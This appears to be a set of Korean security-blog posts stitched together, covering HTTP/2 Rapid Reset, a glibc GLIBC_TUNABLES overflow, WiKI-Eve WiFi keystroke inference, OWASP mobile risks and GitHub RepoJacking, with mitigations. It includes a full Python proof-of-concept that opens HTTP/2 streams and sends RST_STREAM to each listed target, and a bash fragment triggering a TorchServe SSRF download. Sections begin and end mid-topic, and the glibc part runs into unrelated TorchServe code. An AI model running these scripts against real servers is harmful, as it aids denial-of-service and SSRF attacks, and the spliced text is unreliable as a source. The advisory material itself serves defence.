- 하나의 Connection 당 하나의 요청을 처리하도록 설계 - 서버에 요청시 매번 연결/해제 과정을 반복해야 했으므로 RTT가 오래 걸리는 단점이 존재 (≒ 속도가 느리다) > RTT(Round Trip Time): 패킷이 왕복하는데 걸린 시간
HTTP/1.1
- Persistent Connection: 매번 Connection을 생성하지 않고, keep-alive 옵션을 이용해 일정 시간동안 연결 유지 - Pipelining: 클라이언트는 앞 요청의 응답을 기다리지 않고, 순차적으로 요청을 전송하며 서버는 요청이 들어온 순서대로 응답 - HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생 - 무거운 Header 구조: 매 요청마다 중복된 헤더 값을 전송하여, 헤더 크기가 증가하는 문제
HTTP/2
- 구글의 비표준 개방형 네트워크 프로토콜 SPDY 기반 - Multiplexed Streams: 하나의 Connection을 통해 여러 데이터 요청을 병렬로 전송할 수 있음, 응답의 경우 순서 상관없이 Stream으로 전송 - Header 압축: 이전 요청에 사용된 헤더 목록을 유지관리하여 헤더 정보를 구성 - Binary protocol: 복잡성 감소, 단순한 명령어 구현 등 - Server Push: 요청되지 않았지만 향후 예상되는 추가 정보를 클라이언트에 전송할 수 있음 - Stream Prioritization: 리소스간 의존관계에 따른 우선순위를 설정하여 리소스 로드 문제 해결 -HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
HTTP/3
- QUIC라는 계층 위에서 동작하며 UDP 기반 - UDP 기반이기 때문에 RTT 감소 및 HOL Blocking 문제를 극복
2. 취약점
- HTTP/2의 구조적 문제를 악용해 서비스 거부를 유발 시키는 제로데이 취약점
- 해당 취약점을 악용할 경우 DDoS 공격 규모는 약 2억 100만 RPS
> 종전 기록은 7100만 RPS
2.1 취약점 상세
- HTTP/2는 HTTP/1.1의 순차처리 방식의 단점을 보완한 Multiplexed Streams을 지원
> HTTP/1.1에서는 각 요청이 순차적으로 처리되어 비효율적이며, 지연 시간이 늘어나는 단점이 있음
> HTTP/2는 하나의 Connection상에서 동시에 여러 개의 요청을 보내 문제점을 개선
※ HTTP/2에서 Stream ID를 이용해 데이터를 처리하므로 동시에 여러 데이터를 병렬 처리가 가능함
- 또한, 클라이언트나 서버는 RST_STREAM 스트림을 전송함으로써 스트림을 취소할 수 있는 기능이 존재
> RST_STREAM을 이용해 불필요한 작업이 발생하는 것을 방지할 수 있음
> 잘못된 요청 또는 불필요 데이터 요청 등을 취소하고 빠르게 재설정할 수 있도록 하므로 Rapid Reset으로 불림
- 서버는 MAX_CONCURRENT_STREAMS값을 설정하여, 서버에서 처리 가능한 스트림의 양을 명시
> 해당 값을 초과하는 요청이 발생하면, RST_STREAM을 발생시키고 요청을 거절
※ Stream을 지속적으로 보내 서버의 자원을 고갈시키는 단순한 유형의 DDoS 대응책으로 판단됨
- 공격자는 스트림을 요청한 후 바로 RST_STREAM을 요청하여 DDoS를 유발
> MAX_CONCURRENT_STREAMS 값을 초과하지 않기 때문에, 우회가 가능함
> 즉, MAX_CONCURRENT_STREAMS 값 이상의 스트림을 보낼 수 있음
2.2 PoC [5]
① 웹 서버가 HTTP/2 요청을 다운그레이드하지 않고 수락하는지 확인
② 웹 서버가 HTTP/2 요청을 수락하고 다운그레이드하지 않을 경우, 연결 스트림을 열고 재설정 시도
③ 웹 서버가 연결 스트림의 생성 및 재설정을 수락하는 경우 취약점의 영향을 받음
#!/usr/bin/env python3
import ssl
import sys
import csv
import socket
import argparse
from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection
from h2.connection import H2Connection
from h2.config import H2Configuration
import httpx
import requests
def get_source_ips(proxies):
"""
Retrieve the internal and external IP addresses of the machine.
Accepts:
proxies (dict): A dictionary of proxies to use for the requests.
Returns:
tuple: (internal_ip, external_ip)
"""
try:
response = requests.get('http://ifconfig.me', timeout=5, proxies=proxies)
external_ip = response.text.strip()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(2)
try:
s.connect(('8.8.8.8', 1))
internal_ip = s.getsockname()[0]
except socket.timeout:
internal_ip = '127.0.0.1'
except Exception as e:
internal_ip = '127.0.0.1'
finally:
s.close()
return internal_ip, external_ip
except requests.exceptions.Timeout:
print("External IP request timed out.")
return None, None
except Exception as e:
print(f"Error: {e}")
return None, None
def check_http2_support(url, proxies):
"""
Check if the given URL supports HTTP/2.
Parameters:
url (str): The URL to check.
proxies (dict): A dictionary of proxies to use for the requests.
Returns:
tuple: (status, error/version)
status: 1 if HTTP/2 is supported, 0 otherwise, -1 on error.
error/version: Error message or HTTP version if not HTTP/2.
"""
try:
# Update the proxies dictionary locally within this function
local_proxies = {}
if proxies:
local_proxies = {
'http://': proxies['http'],
'https://': proxies['https'],
}
# Use the proxy if set, otherwise don't
client_options = {'http2': True, 'verify': False} # Ignore SSL verification
if local_proxies:
client_options['proxies'] = local_proxies
with httpx.Client(**client_options) as client:
response = client.get(url)
if response.http_version == 'HTTP/2':
return (1, "")
else:
return (0, f"{response.http_version}")
except Exception as e:
return (-1, f"check_http2_support - {e}")
def send_rst_stream_h2(host, port, stream_id, uri_path='/', timeout=5, proxy=None):
"""
Send an RST_STREAM frame to the given host and port.
Parameters:
host (str): The hostname.
port (int): The port number.
stream_id (int): The stream ID to reset.
uri_path (str): The URI path for the GET request.
timeout (int): The timeout in seconds for the socket connection.
proxy (str): The proxy URL, if any.
Returns:
tuple: (status, message)
status: 1 if successful, 0 if no response, -1 otherwise.
message: Additional information or error message.
"""
try:
# Create an SSL context to ignore SSL certificate verification
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# Create a connection based on whether a proxy is used
if proxy and proxy != "":
proxy_parts = urlparse(proxy)
if port == 443:
conn = HTTPSConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout, context=ssl_context)
conn.set_tunnel(host, port)
else:
conn = HTTPConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout)
conn.set_tunnel(host, port)
else:
if port == 443:
conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
else:
conn = HTTPConnection(host, port, timeout=timeout)
conn.connect()
# Initiate HTTP/2 connection
config = H2Configuration(client_side=True)
h2_conn = H2Connection(config=config)
h2_conn.initiate_connection()
conn.send(h2_conn.data_to_send())
# Send GET request headers
headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', uri_path)]
h2_conn.send_headers(stream_id, headers)
conn.send(h2_conn.data_to_send())
# Listen for frames and send RST_STREAM when appropriate
while True:
data = conn.sock.recv(65535)
if not data:
break
events = h2_conn.receive_data(data)
has_sent = False
for event in events:
if hasattr(event, 'stream_id'):
if event.stream_id == stream_id:
h2_conn.reset_stream(event.stream_id)
conn.send(h2_conn.data_to_send())
has_sent = True
break # if we send the reset once we don't need to send it again because we at least know it worked
if has_sent: # if we've already sent the reset, we can just break out of the loop
return (1, "")
else:
# if we haven't sent the reset because we never found a stream_id matching the one we're looking for, we can just try to send to stream 1
available_id = h2_conn.get_next_available_stream_id()
if available_id == 0:
# if we can't get a new stream id, we can just send to stream 1
h2_conn.reset_stream(1)
conn.send(h2_conn.data_to_send())
return (0, "Able to send RST_STREAM to stream 1 but could not find any available stream ids")
else:
# if we can get a new stream id, we can just send to that
h2_conn.reset_stream(available_id)
conn.send(h2_conn.data_to_send())
return (1, "")
conn.close()
return (0, "No response")
except Exception as e:
return (-1, f"send_rst_stream_h2 - {e}")
def extract_hostname_port_uri(url):
"""
Extract the hostname, port, and URI from a URL.
Parameters:
url (str): The URL to extract from.
Returns:
tuple: (hostname, port, uri)
"""
try:
parsed_url = urlparse(url)
hostname = parsed_url.hostname
port = parsed_url.port
scheme = parsed_url.scheme
uri = parsed_url.path # Extracting the URI
if uri == "":
uri = "/"
if not hostname:
return -1, -1, ""
if port:
return hostname, port, uri
if scheme == 'http':
return hostname, 80, uri
if scheme == 'https':
return hostname, 443, uri
return hostname, (80, 443), uri
except Exception as e:
return -1, -1, ""
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', required=True)
parser.add_argument('-o', '--output', default='/dev/stdout')
parser.add_argument('--proxy', help='HTTP/HTTPS proxy URL', default=None)
parser.add_argument('-v', '--verbose', action='store_true')
args = parser.parse_args()
proxies = {}
if args.proxy:
proxies = {
'http': args.proxy,
'https': args.proxy,
}
internal_ip, external_ip = get_source_ips(proxies)
with open(args.input) as infile, open(args.output, 'w', newline='') as outfile:
csv_writer = csv.writer(outfile)
csv_writer.writerow(['Timestamp', 'Source Internal IP', 'Source External IP', 'URL', 'Vulnerability Status', 'Error/Downgrade Version'])
for line in infile:
addr = line.strip()
if addr != "":
now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
if args.verbose:
print(f"Checking {addr}...", file=sys.stderr)
http2support, err = check_http2_support(addr, proxies)
hostname, port, uri = extract_hostname_port_uri(addr)
if http2support == 1:
resp, err2 = send_rst_stream_h2(hostname, port, 1, uri, proxy=args.proxy)
if resp == 1:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'VULNERABLE', ''])
elif resp == -1:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'POSSIBLE', f'Failed to send RST_STREAM: {err2}'])
elif resp == 0:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'LIKELY', 'Got empty response to RST_STREAM request'])
else:
if http2support == 0:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'SAFE', f"Downgraded to {err}"])
else:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'ERROR', err])
3. 대응방안
- 보안 업데이트 적용 [6]
종류
안전한 버전
NGINX
1.25.3 버전 이상
Apache HTTP Server
nghttp2 1.57.0 버전 이상
Apache Tomcat
10.1.14 버전 이상
IIS
2023년 10월 10일 버전 업데이트 [7]
OpenResty
1.21.4.3 버전 이상
- 에러 로그 모니터링
> 알려진 연구에 따르면 공격 발생시 499, 502 에러가 발생되므로 관련 에러 로그 모니터링
※ 499: 클라이언트가 요청을 전송한 후 서버에 응답을 받기 전에 연결이 끊어진 경우 (강제 종료, 네트워크 문제 등의 경우)
※ 502: 게이트웨이가 잘못된 프로토콜을 연결하거나, 어느쪽 프로토콜에 문제가 있어 통신이 제대로 되지 않는 경우 (서버 과부하, 사용자 브라우저 이상, 잘못된 네트워크 연결 등의 경우)
- GOAWAY 프레임 전송
> HTTP/2에서 GOAWAY 프레임은 서버에서 발생되며, 연결 종료를 알리는 프레임
> RST_STREAM 발생 횟수를 카운트하여 해당 값이 임계 값을 초과하는 경우 GOAWAY 프레임 전송
- 관련 설정 값 수정 [6]
> F5 NGINX의 경우 최대 1000개의 연결을 유지하고, MAX_CONCURRENT_STREAMS 값을 128로 설정 하도록 권고
> 리눅스 계열 운영체제에서 C언어로 작성된 실행파일들이 동작하기 위해 공통적으로 사용하는 기능을 쉽게 이용할 수 있도록 묶어 놓은 소프트웨어 집합
- 시스템 호출과 다양한 기본 기능들(open, malloc, printf 등)을 포함하기 때문에 대부분의 시스템에서 사용
1.1 Dynamic Loader
- 프로그램 준비 및 실행을 담당하는 glibc의 중요한 구성요소
- 프로그램을 실행할 경우 Dynamic Loader는 다음과 같이 동작
① 해당 프로그램을 검사하여 필요한 공유 라이브러리(.io) 결정
② 결정된 공유 라이브러리를 검색하여 메모리에 로드
③ 런타임에 실행 파일과 공유 라이브러리 연결
④ 함수 및 변수 참조와 같은 레퍼런스를 확인하여 프로그램 실행을 위한 모든 것이 설정되었는지 확인
2. 취약점
- glibcd의 Dynamic Loader인 id.so의 GLIBC_TUNABLES 환경변수를 처리하는 과정에서 발생하는 버퍼 오버 플로우 취약점
- 해당 취약점은 2021년 04월 (glibc 2.34) 커밋 2ed18c부터 존재했던 것으로 확인됨
영향받는 버전 - Fedora 37, 38 버전 - Ubuntu 22.04, 23.04 버전 - Debian 12, 13 버전
※ 대부분의 리눅스 배포판에서 glibc를 사용하기 때문에 다른 리눅스 배포판에도 취약점이 존재할 가능성이 높음 ※즉, 대부분의 리눅스 배포판에 해당 취약점이 존재한다는 의미 ※ 단, Alpine Linux는 라이브러리로 glibc가 아닌 musl libc를 사용하기 때문에 해당 취약점에 영향을 받지 않음
2.1 GLIBC_TUNABLES [3]
- 사용자들이 런타임 시 라이브러리의 행동 패턴을 조정할 수 있게 해 주는 것
- 사용자가 매번 필요할 때마다 컴파일링 작업을 다시 하지 않아도 되어 편리성을 높여줌
> 사용자들이 직접 값을 입력해 설정하는 것으로, 부정한 값이 입력될 위험성이 존재
2.2 취약점 상세
- 최초 실행시 id.so는 __tunables_init ()를 호출하며, 해당 함수의 기능은 다음과 같음
① 모든 환경 변수 조회 (Line 279)
② 존재하는 환경 변수 중 환경 변수 GLIBC_TUNABLE 검색 (Line 282)
③ 위 과정에서 검색한 각각의 GLIBC_TUNABLE 환경 변수의 사본 생성 (Line 284)
④ parse_tunables()를 호출하여 사본 GLIBC_TUNABLE 환경 변수 처리 및 검사 (Line 286) ---> 취약점 발생 지점
⑤ 원본 GLIBC_TUNABLE 환경 변수를 사본 GLIBC_TUNABLE 환경 변수로 변경 (Line 288)
- 취약점을 발견한 보안 업체에서 해당 취약점에 영향을 받는지 확인할 수 있는 점검 툴 제공
response=$(curl --max-time 10 -s -X POST http://$TORCHSERVE_IP:$TORCHSERVE_PORT/workflows\?url\=$REMOTE_SERVER/$SSRF_DOWNLOAD_FILE_NAME)
response=$(echo "$response" | tr -d '[:space:]')
echo -e "${COLOR_WHITE_FORMAT}Checking CVE-2023-43654 Remote Server-Side Request Forgery (SSRF)"
# If no response at all
if [ -z "$response" ]; then
echo -e "${COLOR_YELLOW_FORMAT}Cannot check CVE-2023-43654 Failed to send request to http://$TORCHSERVE_IP:$TORCHSERVE_PORT"
# Check response
else
if [[ "$response" == "$SSRF_RESPONSE_EXISTS" ]]; then
echo -e "${COLOR_YELLOW_FORMAT}The test file already exists in the server.To test again remove the file <torchserve_path>model-server/model-store/$SSRF_DOWNLOAD_FILE_NAME and run the script."
HAS_SSRF=true
elif [[ "$response" == "$SSRF_RESPONSE" ]]; then
HAS_SSRF=true
echo -e "${COLOR_RED_FORMAT}Vulnerable to CVE-2023-43654 SSRF file download"
elif [[ "$response" == "$SSRF_NOT_VULNERABLE_RESPONSE" ]]; then
HAS_SSRF=false
echo -e "${COLOR_GREEN_FORMAT}Not Vulnerable to CVE-2023-43654 SSRF file download"
else
HAS_SSRF=true
echo -e "${COLOR_YELLOW_FORMAT}Could not determine if TorchServe is vulnerable to CVE-2023-43654"
fi
fi
- 중국과 싱가포르 대학 연구진이 WiFi5(802.11ac)에 도입된 기능인 BFI를 활용해 스마트폰의 텍스트 전송을 가로채 비밀번호를 탈취하는 WiKI-Eve 공격이 발견 - 스마트폰과 와이파이 라우터 간 트래픽을 중간에서 가로채 어떤 숫자 키가 눌렸는지 확인하는 실시간 공격으로, 90% 정확도를 지님 - 공격이 성공하기 위해서는 공격자와 피해자가 동일한 네트워크에 있어야 하며, 피해자의 MAC 주소 또한 알고있어야함
- 공격자들이 AP를 해킹할 필요도 없이 중요한 정보를 정확하게 유추할 수 있음
2. 주요내용
2.1 BFI (Beamforming Feedback Information)
- 빔포밍(Beamforming)이란 기지국(또는 AP)에서 무선 신호를 특정 방향으로 무선 신호를 집중시키는 기술
> 즉, 전파를 특정 위치로 집중해 빔을 만들어 효율을 높이는 기술
> 신호를 집중시킴으로써 송출 전력을 증폭하지 않으면서 수신기에 전달되는 신호를 잘 잡을 수 있음
> 2013년 WiFi5(802.11ac)와 함께 처음 소개된 기술로, WiFi5에 도입됨
- BFI는 사용자 단말 등이 자신들의 위치에 대한 정보를 라우터로 전송하게 함으로써 라우터가 신호를 보다 정확하게 전송할 수 있도록 만들어줌
> 그러나, 데이터가 평문으로 전송되기 때문에 취약점이 발생
2.2 방법론
① 공격 대상 식별
- 공격자는 시각적인 모니터링과 트래픽 모니터링을 동시에 수행해 MAC 주소 식별
> 다양한 MAC 주소에서 발생하는 네트워크 트래픽을 사용자의 행동과 연관시켜 MAC 주소 식별
② 공격 타이밍 식별
- 공격 대상이 식별되면 비밀번호 입력 등의 행위를 기다림
> 관련 IP 주소(공격 대상과 통신하는 IP) 등을 DB화한 뒤 해당 IP와 통신이 발생할 때까지 대기
③ BFI 신호 탈취
- 사용자 단말에서 발생한 BFI 신호를 Wireshark와 같은 트래픽 모니터링 도구를 이용해 캡처
> 사용자가 스마트폰의 키를 누를 때마다 화면 뒤의 WiFi 안테나에 영향을 주어 뚜렷한 WiFi신호가 생성
④ 키스트로크 추론
- 수집된 BFI 신호를 분할하여 사용자의 키스트로크 추론
- 수집된 BFI 신호가 키 입력 간의 경계를 모호하게 만들 수 있어 사용 가능한 데이터를 분석하고 복원하는 알고리즘 적용
> 사용자마다 뚜렷한 타이핑 습관의 차이를 보이기 때문에 규칙 기반 분할이 아닌 데이터 기반 분할을 적용
> 분할은 CFAR(Constant False Alarm Rate) 알고리즘을 사용하여 수집된 BFI 신호의 피크를 식별하는 것부터 시작
* Constant False Alarm Rate (CFAR): 테스트하고자 하는 위치의 값과 주변 값의 관계를 보고 테스트 값이 대상인지 아닌지를 구분하는 알고리즘
> 결과를 방해하는 요소(타이핑 스타일, 속도, 인접한 키 입력 등)를 걸러내기 위해 "1-D Convolutional Neural Network" 기계 학습을 사용
* 합성곱 신경망(Convolutional Neural Network): n × m 크기의 겹쳐지는 부분의 각 이미지와 커널의 원소의 값을 곱해서 모두 더한 값을 출력
> 도메인 적응(특징 추출기, 키스트로크 분류기, 도메인 판별기로 구성) 개념을 통해 타이핑 스타일에 상관없이 키스트로크를 일관되게 인식하도록 훈련
* 도메인 적응(Domain Adaptation): 학습 데이터와 실제 데이터의 차이를 극복하고 모델의 성능 향상을 위해 데이터와 관련있는 추가적인 데이터를 학습
> 도메인별 특징을 억제하기 위해 GRL(Gradient Reversion Layer)를 적용해 일관된 키 입력 표현을 학습할 수 있도록 함
* Gradient Reversion Layer(GRL): 도메인 간의 분포 차이를 줄이고 도메인 적응을 수행하는 데 도움을 줌
⑤ 비밀번호 복구
- 20명의 참가자는 서로 다른 휴대폰으로 동일한 AP에 연결해 비밀번호를 입력
> 키 입력 분류 정확도는 희소 복구 알고리즘과 도메인 적응을 사용할 때 88.9%로 안정적으로 유지
> 6자리 숫자 비밀번호의 경우 100회 미만의 시도에서 85%의 성공률을, 모든 테스트에서 75% 이상의 성공률을 보임
> 공격자와 AP 사이의 거리가 결과에 큰 영향을 끼치며, 거리를 1m에서 10m로 늘릴 경우 성공률은 23%로 감소
- 해당 연구는 숫자로만 구성된 비밀번호에만 작동
> NordPass의 연구에 따르면 상위 비밀번호 20개 중 16개(80%)는 숫자만 사용
2.3 완화 방안
- 데이터 암호화: BFI가 데이터를 평문으로 전송하여 발생하는 문제이기 때문에 암호화 적용
- 키보드 무작위화: 키보드 배열(레이아웃)을 무작위화 하여 어떤 키가 입력되었는지 알 수 없음
- 난독화: 트래픽 캡처 등을 방지하기 위해 난독화 적용
- 스크램블: 송신 측에서 기공유된 초기값과 데이터를 XOR하여 전송한 후 수신측에서 이를 복호화해 원래의 데이터를 복호화하는 방식으로 CSI 스크램블링, WiFi 채널 스크램블을 적용
- 모바일 보안 위협은 (보이스)피싱, 스미싱 등 다양하게 발생하며 피해가 지속적으로 보고되고 있음
- OWASP에서 모바일 보안 위협 TOP 10을 발표
> OWASP(The Open Web Application Security Project): 웹 애플리케이션 보안과 취약성을 평가하는 단체로 비정기적으로 보안 위협을 조사해 발표
2. 주요내용
구분
위험
설명
1
부적절한 자격 증명 사용
- 하드코딩된 자격 증명 또는 부적절한 자격 증명 사용(인증 정보 평문 전송, 부적절한 검증, 자동 저장 등)으로인해 인증 우회 등이 발생가능한 취약점 - 데이터 침해, 사용자 개인 정보 유출, 관리자 권한 접근 등 피해 발생 가능 - 인증 정보의 하드코딩 금지, 인증 정보 암호화 전송, 비밀번호 저장 기능 사용 금지등의 조치
2
부적절한 공급망 보안
- 공급망을 악용하여 악성코드가 삽입된 업데이트 파일 등을 유포하여 사용자의 기기에 접근해 악성행위를 가능하도록 하는 취약점 - 내부자, 써드파티, 악성코드가 포함된 오픈소스 등의 사용으로인해 발생 가능 - 데이터 침해, 사용자 개인 정보 유출, 관리자 권한 접근 등 피해 발생 가능 - 모바일 앱 개발 수명주기 전반에 걸친 코드 검토 및 시큐어 코딩, 검증된 라이브러리 사용, 주기적 업데이트 적용, 모니터링 등의 조치
3
안전하지 않은 인증/권한 부여
- 부적절한 인증(인증 체계 누락 등)를 통해 정식 인증 우회 및 권한(과도한 권한 부여 등)을 악용 추가적인 악성행위를 수행 - 데이터 침해, 사용자 개인 정보 유출, 관리자 권한 접근 등 피해 발생 가능 - 인증 절차의 강화, 최소권한부여, 서버 측에서 인증 요청 검증, 비밀번호 저장 기능 사용 금지 등의 조치
4
불충분한 입력/출력 검증
- 입력 데이터에대한 검증 및 삭제가 불충분하여 임의 명령 실행 등이 발생 가능한 취약점 - 데이터 침해, 임의 명령 실행, 관리자 권한 접근 등 피해 발생 가능 - 입력 길이 제한 및 삭제 등 엄격한 입력값 검증 적용, 데이터 무결성 검사, 시큐어코딩 적용 등의 조치
5
안전하지 않은 통신
- 네트워크를 통해 데이터를 평문으로 전송하거나 취약한 네트워크 사용 등으로 인해 발생 가능한 취약점 - 인증 정보 도용, 중간자 공격 등 피해 발생 가능 - 암호화 전송, 엄격한 인증서 관리 등의 조치
6
부적절한 개인 정보 보호 제어
- 공격자가 알려진 취약점을 이용해 시스템을 침해한 후 부적절하게 관리되고 있는 개인정보에 접근이 가능하게되는 취약점 - 사용자 개인정보 불법거래, 유출 정보를 이용한 2차 피해 등이 발생 가능 - 목적 범위 내 필요한 최소한의 정보만 저장, 가명화 또는 익명화 적용, 목적 달성 등 불필요시 즉시 삭제 등의 조치
7
바이너리 보호가 부족함
- 리버싱 등으로 소스코드에 하드코딩된 정보, 키(API, 암복호화 등) 등을 탈취하거나 코드를 변조하여 악성 코드를 포함하도록 하는 등의 취약점 - 키 정보의 유출, 코드 위변조, 악성코드 삽입 후 재배포 등이 발생 가능 - 소스코드 난독화, 무결성 검사, 모니터링 등의 조치
8
잘못된 보안 구성
- 불필요한 권한 설정, 부적절한 액세스 제어, 평문 전송 등 잘못된 보안 구성으로 인해 발생가능한 취약점 - 데이터 침해, 관리자 권한 접근 등의 피해 발생 가능 - 기본 계정정보 변경, 최소권한부여, 입력값 검증, 암호화 등의 조치
9
안전하지 않은 데이터 저장
- 취약한 암호화, 부적절한 데이터 보호, 평문 저장 등으로 민감정보, 내부 정보의 유출이 발생할 수 있는 취약점 - 데이터 침해, 무결성 문제 등 피해 발생 가능 - 강력한 암호화, 입력값 검증, 적절한 액세스 제어 등의 조치
10
암호화가 불충분함
- 취약하거나 불충분한 암호화로인해 민감 정보와 데이터의 기밀성과 무결성이 저하되는 등의 문제가 발생가능한 취약점 - 데이터 침해, 무결성과 기밀성 등 피해 발생 가능 - 안전한 암호 알고리즘 적용, 안전한 암호화 키 관리 등의 조치
2.2 모바일 운영체제별 보안 위협
구분
위협
설명
안드로이드
리버스 엔지니어링
- 안드로이드 앱은 이클립스(Eclipse)와 같은 통합개발환경을 갖춘 자바(Java)로 개발 > 자바 앱은 인터넷에서 쉽게 검색 가능한 다양한 도구로컴파일 이전으로 복구가 가능
- 바이트코드를 변경하거나 APK 파일 형식으로 재패키징할 수 있음 > 테스트 로그인 자격증명 등 정보와 함께 암호화 유형의 세부정보도 노출될 수 있음 > 공격자는 이를 악용해 복호화로 디바이스 해킹이 가능
안전하지 않은 플랫폼 사용
- 앱 개발자가 보안에 불안전한 안드로이드 인텐트(Intent)나 플랫폼 권한 설정을 통해 모바일 OS와 통신할 때 보안 위협이 발생 가능
- 안드로이드 OS는 브로드캐스트리시버(BroadcastReceiver) 구성요소를 이용해 앱과 시스템 전체의 브로드캐스트를 송수신 > 브로드캐스트 리시버 인스턴스를 수신하기 위해 안드로이드 디바이스에 스누핑 공격을 수행할 수 있음
※ 스누핑(Snooping): 네트워크 상의 정보를 염탐하여 불법적으로 얻는 것을 의미
업데이트 무시
- 구글은 안드로이드에서 새로운 취약점에 대응하기 위해 끊임없이 OS 보안 패치를 발표 > 개발자(또는 사용자)가 업데이트를 적용하지 않음으로 발생가능
루팅된 디바이스
- 안드로이드 OS는 사용자가 서드파티 앱을 이용해 디바이스의 루트 권한을 획득하도록 허용 > 루팅된 디바이스가 해커나 악성 소프트웨어를 통한 위변조에 노출될 수 있음을 깨닫지 못하고 있음
- 개발자는 앱이 루팅된 환경에서의 실행을 차단하거나 사용자에 경고 메시지를 띄우는 것이 필요
새로운 공격 벡터를 통한 스파이론 애플리케이션 증가
- 최근 간편하게 소액 대출을 제공하지만 높은 이자율과 추가 수수료가 부과되는 ‘스파이론(Spyloan) 앱’이 증가 > 대출 승인 전에 과도한 개인정보를 무단 수집 및 스캔들 메시지 발송 및 사진 조작 등 피해 발생
iOS
탈옥
- ‘탈옥(Jailbreak)’은 사용자가 서명되지 않은 코드를 모바일 디바이스에서 실행하도록 커널의 보안 허점을 이용하는 것
사용자 인증
- iOS는 얼굴인증(Face ID)이나 지문인증(Touch ID) 등으로 보안을 강화 > OS와는 별도로 전용 마이크로 커널에서 실행되는 ‘시큐어 인클레이브(Secure Enclave)’를 적용한 프로세스를 사용하도록 설계
- 공격자는 그레이시프트(Grayshift) 사의 iOS 암호 크랙인 그레이키(GrayKey)를 활용하면 인증을 뚫을 수 있음
데이터 저장소 보안 위험성
- 대부분의 앱은 SQL 데이터베이스, 쿠키, 바이너리 데이터 저장소 등을 사용해 데이터를 저장 > 데이터 저장소는 운영체제, 프레임워크 또는 컴파일러의 취약점이 있을 때 해커에 위치가 노출될 수 있음
- 공격자는 DB에 접근하고, 앱 변조로 자신의 컴퓨터에 사용자 정보가 수집되도록 조작할 수 있음 > 탈옥된 디바이스라면 복잡하게 설계된 암호화 알고리즘도 손쉽게 노출될 수 있음
참고
- iOS에서 사용할 수 있는 애플리케이션은 모두 애플에서 직접 만든 앱스토어를 통해서만 다운로드할 수 있음 - iOS 애플리케이션은 애플의 앱 개발 전담팀에서 2주간의 검수 과정을 통해 악성코드, 바이러스, 멀웨어 등의 감염과 피해 등을 철저하게 조사한 후 등록 > 앱 보안 위협은 상대적으로 낮은편
- 애플의 iOS는 안드로이드 OS와 달리 보안 정책이 엄격하며 폐쇄형 - iOS 앱은 다른 앱과 통신 또는 디렉토리나 데이터에 직접적으로 접근할 수 없
3. 대응방안
① 개발자는 앱을 플랫폼에 공개하기 전 철저한 보안 검사가 필요
- 사용자의 보안 강화를 위해 데이터 암호화 및 방화벽과 보안도구 사용을 포함해 전반적인 데이터 보안 정책과 지침을 수립
- 새로운 앱을 개발했을 때 개발자는 앱을 앱스토어에 등록하기 전에 외부인을 통해 앱 보안 취약점을 점검
② 사용자는 앱 사용이 끝나면 해당 사이트에서 로그아웃하고 종료
- 금융권 웹사이트를 사용할 때는 비밀번호를 저장하지 않고, 로그아웃 여부를 재차 확인하는게 중요
③ 사용자가 웹사이트나 앱에 로그인할 때 기본적인 로그인 외에 멀티팩터(Multi Factor) 인증으로 보안을 강화
- 아이디와 패스워드 이외에 2차로 지문·홍채 등 생체인식, 인증서, 이메일, OTP 등이 사용되며, 로그인 시 별도의 비밀코드를 제공
④ 모의 침투 테스트
- 앱 내의 알려진 취약점을 확인
⑤ 사내 네트워크에 개인 소유 디바이스를 연결할 때는 사전 보안 검사
⑥ 적절한 권한 부여, 키 관리 등
- 스마트폰 내에 디폴트 권한을 넘어 특별한 기능의 권한까지 부여되면 보안에 심각한 위협을 유발
- 키는 사용자 디바이스가 아닌 안전한 컨테이너에 보관하는 습관
- 개발자는 256비트 키를 사용하는 SHA-256 해시 등 최신 암호화 표준과 API를 사용
- Github의 논리적 결함으로 인해 공격자가 수천 개의 리포지터리를 제어할 수 있게되는 취약점이 발견 - 공격자는 해당 결함으로 리포지터리를 악용해 공급망 공격으로 이어질 가능성이 존재
2. RepoJacking [1]
- Github에서는 사용자 계정마다 고유한 URL을 부여
> 사용자 이름 및 저장소 이름 변경이 자주 발생 (사명변경, 인수합병, 관리자 변경 등)
- 이름 변경 등으로 프로젝트의 종속성이 깨지는 것을 방지하기 위해 리다이렉션 생성 > 이름 A에서 이름 B로 변경시 새로운 URL이 생성되고, 원 URL과 연결되어 있던 모든 리포지터리들이 자동으로 새 URL과 연결 ① 사용자는 계정 A 생성 ② 계정 A에대한 고유한 URL 생성 (ex, hxxp://github.com/A~) ③ 사용자는 계정을 B로 변경 ④ 계정 B에대한 고유한 URL 생성 (ex, hxxp://github.com/B~)
⑤ 계정 A의 리포지터리가 자동으로 계정 B로 리다이렉션
- RepoJacking이란 공격자가 위 과정에 개입하여 이름 A를 등록해 공격자의 리포지터리에서 접근하도록 하는 공격 > 리포지터리를 생성하는 과정과 사용자의 이름을 변경하는 과정에서 경합 조건이 발동된다는 것이 취약점의 핵심적인 내용 ① 사용자는 "A/Repo" 네임스페이스를 소유 ② 사용자는 "A"의 이름을 "B"로 변경 ③ "A/Repo"는 폐기처리 ④ 공격자 "C"는 동시에 "Repo" 리포지터리를 생성하며, "A"로 이름을 변경하는 명령 수행 ⑤ 사용자는 공격자 소유의 "A/Repo"에 접근하여 공격자가 업로드한 파일, 명령을 사용
※ Race Condition 공격과 유사한 공격으로 판단됨 [2][3]
